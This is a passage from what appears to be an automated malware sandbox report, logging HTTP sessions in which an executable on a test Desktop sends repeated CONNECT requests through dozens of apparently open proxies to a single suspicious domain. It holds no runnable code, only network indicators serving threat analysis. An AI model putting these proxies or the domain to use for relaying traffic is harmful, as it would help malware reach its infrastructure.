Feb 23, 2024 09:45:28.041878939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.4	54248	109.87.130.6	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.991353989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.4	54276	109.247.104.237	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.005134106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.194194078 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1505	192.168.2.4	54255	46.107.230.122	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.006546021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.4	54299	196.20.125.149	8083	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.046561003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.4	54383	104.20.198.49	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.046771049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.133709908 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.4	54397	172.67.181.126	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.059195042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.146800995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.4	54405	1.0.0.84	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.059355021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.146847010 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.4	51653	154.12.253.232	8541	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.059530973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.178270102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.179002047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.178476095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.4	54355	5.196.119.174	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.087868929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.275125027 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.4	53159	145.239.2.102	13247	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.087958097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.4	54072	142.54.232.6	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.088005066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.4	54462	198.199.86.11	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.088851929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.183696032 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.4	54438	51.79.87.144	41746	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.088854074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.4	51612	81.250.223.126	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.088965893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.574568033 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.4	53172	51.210.45.148	62283	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.088968039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.574014902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147178888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.240926027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.377594948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.557708025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.647263050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.834769011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.162415981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.4	54223	103.216.49.151	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.088968039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.4	53895	27.112.78.34	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.089226961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.178276062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:05.214334965 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.4	54435	185.162.229.215	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.092784882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.183790922 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.4	54370	86.238.101.78	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.099739075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.275306940 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.4	53176	75.119.145.154	21072	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.100125074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1523	192.168.2.4	54466	154.16.63.16	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.108203888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.4	51643	185.104.63.107	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.116938114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.4	54331	102.223.20.217	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.117166996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.368067980 CET	518	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 08:45:28 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://repository.gij.edu.gh Content-Length: 320 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 70 6f 73 69 74 6f 72 79 2e 67 69 6a 2e 65 64 75 2e 67 68 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://repository.gij.edu.gh">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.4	53841	182.72.203.255	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.118081093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.4	51646	185.139.56.133	6961	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.118252993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.810348034 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.4	54347	177.38.245.110	55713	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.118377924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1529	192.168.2.4	54424	141.95.160.178	59656	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.124420881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.574004889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147160053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.4	51715	192.99.37.195	33553	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.139168978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.4	54061	70.113.250.186	16099	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:28.140736103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.200409889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.334598064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
